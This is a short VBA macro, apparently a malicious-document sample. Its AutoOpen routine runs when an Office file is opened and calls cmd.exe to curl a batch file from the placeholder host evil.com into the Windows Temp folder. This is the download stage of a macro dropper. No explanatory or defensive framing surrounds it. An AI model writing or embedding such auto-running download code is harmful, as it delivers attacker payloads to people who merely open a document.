Sub AutoOpen()
    Shell "cmd.exe /c curl http://evil.com/a.bat -o C:\Windows\Temp\a.bat"
End Sub